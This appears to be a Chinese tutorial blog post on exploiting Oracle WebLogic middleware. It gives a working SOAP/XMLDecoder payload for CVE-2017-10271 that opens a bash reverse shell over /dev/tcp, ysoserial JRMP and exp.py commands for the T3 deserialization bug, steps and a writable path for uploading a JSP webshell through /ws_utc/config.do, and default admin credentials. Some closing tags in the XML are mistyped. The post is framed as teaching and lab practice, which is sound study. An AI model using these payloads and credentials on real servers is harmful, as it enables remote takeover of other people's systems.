前文

上一篇文章给大家带来了JBOSS中间件漏洞的利用知识，不知道大家学习的如何了，今天给大家带来的是一个比较重要的中间件——weblogic漏洞利用的介绍，按我们之前的顺序，先学习一下什么是WEBLOGIC中间件。

什么是WebLogic?

图片.png

WebLogic是美国Oracle公司出品的一个applicationserver，确切的说是一个基于JAVAEE架构的中间件，WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。可以看到WEBLOGIC的作用还是非常大的，它的特点可以概括为下面五个点：

1.标准性，支持多种标准。

2.可扩展性，集群能力强。

3.开发快，可以快速部署。

4.灵活性强。

5.可靠性强，安全性高。

下面展开来讲weblogic中间件常见的漏洞以及利用方法。

XMLDecoder 反序列化漏洞

这里面包含许多可以利用的反序列化漏洞，这里就以漏洞CVE-2017-10271为例来给大家说明，学习该漏洞前需要知道SOAP是什么，可以简单说明为web服务安全性内置协议，该漏洞攻击原理就是wls组件使用了webservice来进行soap请求，攻击者构造SOAP(XML)格式的请求，在解析的过程中产生XMLDecoder反序列化漏洞，如果插入我们的恶意数据，可导致执行任意命令。下面给大家展开演示：

环境配置好后访问下面的路径判断是否存在漏洞：

wls-wsat/CoordinatorPortType

图片.png

存在以上页面则可能存在漏洞，于是我们进一步利用，我们构造POST表单如下来进行反弹shell:

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
<oid>
<void index="1">
<string>-c</string>
<oid>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/ip/port 0&gt;&amp;1</string>
<oid>
</array>
<void method="start"/><oid>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

图片.png

之后在进行监听即可，当然也有一件检测工具，有兴趣的小伙伴可以自己去找一下哦。

Weblogic WLS Core Components 反序列化命令执行漏洞

weblogic的7001端口为控制台，如果设置为开放的话也同时会开启T3协议服务，该漏洞就是通过构造恶意的T3协议数据来进行攻击，该漏洞影响版本如下：

Oracle WebLogic Server10.3.6.0
Oracle WebLogic Server12.2.1.2
Oracle WebLogic Server12.2.1.3
Oracle WebLogic Server12.1.3.0

我们访问端口7001得到以下页面：

图片.png

同时使用nmap扫描到了存在T3协议，于是我们尝试利用此漏洞：

先使用工具启动一个JRMP Server，JRMP是一个Java远程方法协议，使用以下代码构造攻击链接：

java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener [listen port] CommonsCollections1 [command]

之后通过生成的EXP文件反弹SHELL到我们的端口：

python exp.py ip 7001 ysoserial.jar ip 114514 JRMPClient

成功后即可进行命令执行。

Weblogic 任意文件上传漏洞

该漏洞也是利用了weblogic的7001端口的console，假设我们进入了后台，设置开启"启用Web服务测试页"选项，然后访问路径：

/ws_utc/config.do

然后修改work home dir的路径为：

/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css

修改的这个目录没有访问限制，之后我们回到上面文件的后台页面，进行上传JSP木马，会返回给我们一个时间戳：

图片.png

于是我们通过WEBSHELL连接工具连接下面的路径：

ws_utc/css/config/keystore

即可成功连接木马。

Weblogic 弱口令

该漏洞也是利用了上面7001端口的后台应用，该后台存在弱口令：

weblogic Oracle@123

进入后我们就可以尝试上面的漏洞来进行GETSHELL，可以说这是一个很重要的跳板。

结语

今天讲解一下WEBLOGIC常见的中间件漏洞，多数以反序列化为主，可以看到要想好好利用还需要懂得工具的使用，有兴趣的小伙伴可以自己去搭建一个环境来进行测试，如果喜欢本文希望可以一键三连支持一下。

深入浅出带你学习weblogic中间件常见漏洞

前文

什么是WebLogic?

XMLDecoder 反序列化漏洞

Weblogic WLS Core Components 反序列化命令执行漏洞

Weblogic 任意文件上传漏洞

Weblogic 弱口令

结语